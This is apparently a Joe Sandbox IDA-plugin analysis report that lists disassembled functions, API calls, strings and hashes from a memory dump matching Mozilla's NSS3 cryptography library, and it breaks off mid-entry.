Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 8b309e8789896ed391f567787daee472658b77753eccfc6ff6d157922c859a40
Instruction ID: e7aaaedec68aeafe9964d3ad90e25a6c7b0075e08d44238b82449d09319ba95c
Opcode Fuzzy Hash: 8b309e8789896ed391f567787daee472658b77753eccfc6ff6d157922c859a40
Instruction Fuzzy Hash: 3CA129B2A658D087EB10463CEC007B937E1AB83339F584365E839D7FD4DBBD94418256

Function 6CAA5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CAA5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CAA5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CAA5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CAA5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CAA5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CAA5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CAA5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAA5F89
free.MOZGLUE(?), ref: 6CAA5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAA5FB6
free.MOZGLUE(00000000), ref: 6CAA5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAA600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAA6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA6094

Strings

, xrefs: 6CAA5EEB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: cf5a0b864492d8fef558bd7bda03ac08a6ca3b2d62d8660431d2793358d6d1c0
Instruction ID: 2d77e1a3dfc6fda41eddaf374dc3b5c5258f1624e3e31ef25da05196ef6e213e
Opcode Fuzzy Hash: cf5a0b864492d8fef558bd7bda03ac08a6ca3b2d62d8660431d2793358d6d1c0
Instruction Fuzzy Hash: 29811AB1E006059BDF10CFA8DD80B9E77B5AF48318F184128E819E7751E731D99ACBD5

Function 6CAC6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CAC6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6DC3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAC6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAC6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CAC6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CAC6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CAC6EB9

Strings

ulDataLen = %d, xrefs: 6CAC6E0E
hSession = 0x%x, xrefs: 6CAC6D9E, 6CAC6DAE
(CK_INVALID_HANDLE), xrefs: 6CAC6DBC
pDigest = 0x%p, xrefs: 6CAC6E27
pulDigestLen = 0x%p, xrefs: 6CAC6E42
pData = 0x%p, xrefs: 6CAC6DF5
C_Digest, xrefs: 6CAC6D81
*pulDigestLen = 0x%x, xrefs: 6CAC6EB4

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 469b0ba2ebcab582fe4ed97440d2302fabfb70f1e71eb43e7c5c6ee319ea0534
Instruction ID: 3c6759912f30754fc3bc771945c7cb3d07d998e069f775b9cb44e2878437377b
Opcode Fuzzy Hash: 469b0ba2ebcab582fe4ed97440d2302fabfb70f1e71eb43e7c5c6ee319ea0534
Instruction Fuzzy Hash: 4B41B235701084AFDB01DBA4ED89AAA3BB5EB42318F484025E819A7711DB30D999CB97

Function 6CAC9C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CAC9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9CA3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CAC9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CAC9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CAC9D42

Strings

hSession = 0x%x, xrefs: 6CAC9C7E, 6CAC9C8E
ulPinLen = %d, xrefs: 6CAC9D0B
(CK_INVALID_HANDLE), xrefs: 6CAC9C9C
ulUsernameLen = %d, xrefs: 6CAC9D3D
userType = 0x%x, xrefs: 6CAC9CD5
pUsername = 0x%p, xrefs: 6CAC9D24
pPin = 0x%p, xrefs: 6CAC9CF0
C_LoginUser, xrefs: 6CAC9C61

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: f5dbe5996254ad8a3a54cc83bb8f79cb1ff35480dfb6263a65a30a8178967ed1
Instruction ID: 920667d88894b3d1cd5ae27add6287b72abe13f7ca952166154d65770c425784
Opcode Fuzzy Hash: f5dbe5996254ad8a3a54cc83bb8f79cb1ff35480dfb6263a65a30a8178967ed1
Instruction Fuzzy Hash: BB41F275701184AFDB008F64FE88E9E3BB5EB4231EF488064E81977711DB308998CBA7

Function 6CA81FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CA82007
calloc.MOZGLUE(00000001,00000084), ref: 6CA82077
calloc.MOZGLUE(00000001,0000002C), ref: 6CA820DF
TlsSetValue.KERNEL32(00000000), ref: 6CA82188
PR_NewCondVar.NSS3 ref: 6CA821B7
calloc.MOZGLUE(00000001,00000084), ref: 6CA8221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA822C2
GetLastError.KERNEL32 ref: 6CA822CD
free.MOZGLUE(00000000), ref: 6CA822DD

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 7cf309165bc38256b40cf7bd8fd1b6a7a136cde1c9fa986ff6303db3a5a1ca8e
Instruction ID: 3dd2c36e8a918e9955ff456377f6e00d4600da57deb4db48594e3b15050b1fb8
Opcode Fuzzy Hash: 7cf309165bc38256b40cf7bd8fd1b6a7a136cde1c9fa986ff6303db3a5a1ca8e
Instruction Fuzzy Hash: FC919FB1A027519FDB609F38D80D76B7AF8BF0A744F04452AE56AD7B40EB709448CF92

Function 6CBA9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CBA9C70
PR_NewLock.NSS3 ref: 6CBA9C85

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewCondVar.NSS3(00000000), ref: 6CBA9C96

Part of subcall function 6CA7BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA821BC), ref: 6CA7BB8C

PR_NewLock.NSS3 ref: 6CBA9CA9

Part of subcall function 6CB598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB59946
Part of subcall function 6CB598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA116B7,00000000), ref: 6CB5994E
Part of subcall function 6CB598D0: free.MOZGLUE(00000000), ref: 6CB5995E

PR_NewLock.NSS3 ref: 6CBA9CB9
PR_NewLock.NSS3 ref: 6CBA9CC9
PR_NewCondVar.NSS3(00000000), ref: 6CBA9CDA

Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA7BBEB
Part of subcall function 6CA7BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA7BBFB
Part of subcall function 6CA7BB80: GetLastError.KERNEL32 ref: 6CA7BC03
Part of subcall function 6CA7BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA7BC19
Part of subcall function 6CA7BB80: free.MOZGLUE(00000000), ref: 6CA7BC22

PR_NewCondVar.NSS3(?), ref: 6CBA9CF0
PR_NewPollableEvent.NSS3 ref: 6CBA9D03

Part of subcall function 6CB9F3B0: PR_CallOnce.NSS3(6CBF14B0,6CB9F510), ref: 6CB9F3E6
Part of subcall function 6CB9F3B0: PR_CreateIOLayerStub.NSS3(6CBF006C), ref: 6CB9F402
Part of subcall function 6CB9F3B0: PR_Malloc.NSS3(00000004), ref: 6CB9F416
Part of subcall function 6CB9F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CB9F42D
Part of subcall function 6CB9F3B0: PR_SetSocketOption.NSS3(?), ref: 6CB9F455
Part of subcall function 6CB9F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CB9F473

Part of subcall function 6CB59890: TlsGetValue.KERNEL32(?,?,?,6CB597EB), ref: 6CB5989E

EnterCriticalSection.KERNEL32(?), ref: 6CBA9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CBA9DAF
_PR_CreateThread.NSS3(00000000,6CBA9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBA9D9F

Part of subcall function 6CA7B3C0: TlsGetValue.KERNEL32 ref: 6CA7B403
Part of subcall function 6CA7B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CA7B459

_PR_CreateThread.NSS3(00000000,6CBAA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBA9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CBA9DFC
_PR_CreateThread.NSS3(00000000,6CBAA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CBA9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CBA9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CBA9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA9E89

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 36280098a916a6ea074e986b98f58489dce33355d3994cc7147e44b39eac7727
Instruction ID: 5c4842c7a372a604d93d7acb63504e82fb2982c985942a10eff9a27fcbb8a302
Opcode Fuzzy Hash: 36280098a916a6ea074e986b98f58489dce33355d3994cc7147e44b39eac7727
Instruction Fuzzy Hash: AF615DB1E00746AFD710DF75D844A6BBBF8FF08248B044529E859C7B11EB31E859CBA1

Function 6CAA3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CAA4014

Part of subcall function 6CAA39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAA5E6F,?), ref: 6CAA3A08
Part of subcall function 6CAA39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAA5E6F), ref: 6CAA3A1C
Part of subcall function 6CAA39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA4038

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CAA404D

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CBBA0F4), ref: 6CAA40C2

Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAEF0C8
Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CAA409A

Part of subcall function 6CAEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CAA411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CAA4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CAA4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CBBA1C8), ref: 6CAA417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CAA4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAA41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CAA41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAA41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CBBA1A8), ref: 6CAA422D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: f455692a491fe3ed21f67eed630f2efdc0ad34ca4a3140e736762319c46589eb
Instruction ID: 8f4909c146236d1689eca83996171bb5a82e558acf1c28a7d9b5eb80ecced71e
Opcode Fuzzy Hash: f455692a491fe3ed21f67eed630f2efdc0ad34ca4a3140e736762319c46589eb
Instruction Fuzzy Hash: B65117B5A003006BF7109AA9AD42B6B76DCDF5434CF081629F959C7F82FF31E58993A1

Function 6CAE8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8E9E
PORT_ArenaAlloc_Util.NSS3(6CBF0B64,00000001,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CAE8E01), ref: 6CAE8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBF0B64,6CBF0B64), ref: 6CAE8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CAE8F3F

Part of subcall function 6CAEA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CAEA421,00000000,00000000,6CAE9826), ref: 6CAEA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAE904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CAE8E76

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b1d4ba1bcad595cce5120ba6df6e58a3a9260ad6015baa79c647382a0b9ea0eb
Instruction ID: b9c6eee3cef219fee19427f6adb08f15440b40674b1cdbb549f76cd3ba71dc50
Opcode Fuzzy Hash: b1d4ba1bcad595cce5120ba6df6e58a3a9260ad6015baa79c647382a0b9ea0eb
Instruction Fuzzy Hash: 3B61A1B5E002459BDB10DF65CD80AEFB7B9EF88358F184128DC18A7700E732A956DBE0

Function 6CA98E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA98E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA98E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA98EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBC18D0,?), ref: 6CA98F03
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA98F19
PL_FreeArenaPool.NSS3(?), ref: 6CA98F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA98F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA98F65
PL_FinishArenaPool.NSS3(?), ref: 6CA98FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CA98FFE
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA99012
PL_FreeArenaPool.NSS3(?), ref: 6CA99024
PL_FinishArenaPool.NSS3(?), ref: 6CA9902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CA9903E

Strings

security, xrefs: 6CA98EE7

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: c88535d1dfc072352596b61aee8215121fafc75f6437ae8ac6b5939550487643
Instruction ID: 94a43e55db755b9416a256078de858e7fc5ed2838b7cf921154ba83961cd7ae4
Opcode Fuzzy Hash: c88535d1dfc072352596b61aee8215121fafc75f6437ae8ac6b5939550487643
Instruction Fuzzy Hash: B85158B5618340ABD7009A58DD42FBF73E8AF8535CF48082EF5A997B40E731D9898763

Function 6CAC4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CAC4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4EC7

